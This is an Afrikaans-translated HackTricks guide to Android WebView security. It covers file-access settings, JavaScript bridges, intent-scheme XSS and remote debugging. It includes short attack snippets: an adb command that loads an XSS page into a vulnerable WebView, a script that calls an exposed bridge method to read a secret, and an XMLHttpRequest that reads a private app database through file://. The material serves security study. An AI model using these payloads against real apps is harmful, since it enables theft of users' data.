mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
155 lines
9.3 KiB
Markdown
155 lines
9.3 KiB
Markdown
# Webview Aanvalle
|
||
|
||
{% hint style="success" %}
|
||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Ondersteun HackTricks</summary>
|
||
|
||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Gids oor WebView Konfigurasies en Sekuriteit
|
||
|
||
### Oorsig van WebView Kw vulnerabilities
|
||
|
||
'n Kritieke aspek van Android ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat met WebView gebruik geassosieer word, te verminder.
|
||
|
||
![WebView Voorbeeld](<../../.gitbook/assets/image (1190).png>)
|
||
|
||
### **Lêer Toegang in WebViews**
|
||
|
||
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die **android.permission.READ\_EXTERNAL\_STORAGE** toestemming kan lêers van eksterne stoor lees met 'n lêer-URL skema (`file://path/to/file`).
|
||
|
||
#### **Verouderde Kenmerke: Universele en Lêer Toegang Vanaf URL's**
|
||
|
||
* **Universele Toegang Vanaf Lêer URL's**: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (`false`) vir toepassings wat op Android Jelly Bean en nuwer teiken.
|
||
* Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`.
|
||
* Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||
* **Lêer Toegang Vanaf Lêer URL's**: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit.
|
||
* Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel.
|
||
|
||
#### **Veilige Lêer Laai**
|
||
|
||
Om lêerstelsels toegang te deaktiveer terwyl bates en hulpbronne steeds toeganklik is, word die `setAllowFileAccess()` metode gebruik. Met Android R en hoër is die standaardinstelling `false`.
|
||
|
||
* Kontroleer met `getAllowFileAccess()`.
|
||
* Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`.
|
||
|
||
#### **WebViewAssetLoader**
|
||
|
||
Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS bestuur.
|
||
|
||
### loadUrl
|
||
|
||
Dit is 'n algemene funksie wat gebruik word om arbitrêre URL's in 'n webview te laai:
|
||
```java
|
||
webview.loadUrl("<url here>")
|
||
```
|
||
Ofc, 'n potensiële aanvaller moet nooit in staat wees om die **URL** te **beheer** wat 'n toepassing gaan laai.
|
||
|
||
### **JavaScript en Intent Skema Hantering**
|
||
|
||
* **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via `setJavaScriptEnabled()`. Versigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring.
|
||
* **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot ontploffings as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support\_url" ingesluit wat benut kon word om cross-site scripting (XSS) aanvalle uit te voer.
|
||
|
||
![Vulnerable WebView](<../../.gitbook/assets/image (1191).png>)
|
||
|
||
Eksploitering voorbeeld met adb:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||
```
|
||
{% endcode %}
|
||
|
||
### Javascript Brug
|
||
|
||
'n Kenmerk word deur Android verskaf wat **JavaScript** in 'n WebView in staat stel om **natuurlike Android-app funksies** aan te roep. Dit word bereik deur die `addJavascriptInterface` metode te gebruik, wat JavaScript met natuurlike Android funksies integreer, genoem 'n _WebView JavaScript brug_. Versigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript Interface objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie interfaces blootgestel word.
|
||
|
||
* **Uiterste versigtigheid is nodig** vir toepassings wat op Android weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afstandkode-uitvoering deur kwaadwillige JavaScript toelaat, wat refleksie benut.
|
||
|
||
#### Implementering van 'n JavaScript Brug
|
||
|
||
* **JavaScript interfaces** kan met natuurlike kode kommunikeer, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
|
||
```javascript
|
||
@JavascriptInterface
|
||
public String getSecret() {
|
||
return "SuperSecretPassword";
|
||
};
|
||
```
|
||
* JavaScript-brug is geaktiveer deur 'n koppelvlak aan die WebView toe te voeg:
|
||
```javascript
|
||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||
webView.reload();
|
||
```
|
||
* Potensiële uitbuiting deur JavaScript, byvoorbeeld, via 'n XSS-aanval, stel die oproep van blootgestelde Java-metodes in staat:
|
||
```html
|
||
<script>alert(javascriptBridge.getSecret());</script>
|
||
```
|
||
* Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK gestuur is en verhoed dat JavaScript van afstandbronne gelaai word. Stel vir ouer toestelle die minimum API-vlak op 17.
|
||
|
||
### Refleksie-gebaseerde Afstandkode-uitvoering (RCE)
|
||
|
||
* 'n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur 'n spesifieke payload uit te voer. Die `@JavascriptInterface` annotasie verhoed egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk.
|
||
|
||
### Afstandfoutopsporing
|
||
|
||
* **Afstandfoutopsporing** is moontlik met **Chrome Developer Tools**, wat interaksie en arbitrêre JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
|
||
|
||
#### Aktivering van Afstandfoutopsporing
|
||
|
||
* Afstandfoutopsporing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
|
||
```java
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||
WebView.setWebContentsDebuggingEnabled(true);
|
||
}
|
||
```
|
||
* Om foutopsporing voorwaardelik in te skakel gebaseer op die toepassing se foutopsporingstoestand:
|
||
```java
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||
}
|
||
```
|
||
## Exfiltreer arbitrêre lêers
|
||
|
||
* Demonstreer die eksfiltrasie van arbitrêre lêers met behulp van 'n XMLHttpRequest:
|
||
```javascript
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
alert(xhr.responseText);
|
||
}
|
||
}
|
||
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
|
||
xhr.send(null);
|
||
```
|
||
## Verwysings
|
||
|
||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||
|
||
{% hint style="success" %}
|
||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Ondersteun HackTricks</summary>
|
||
|
||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|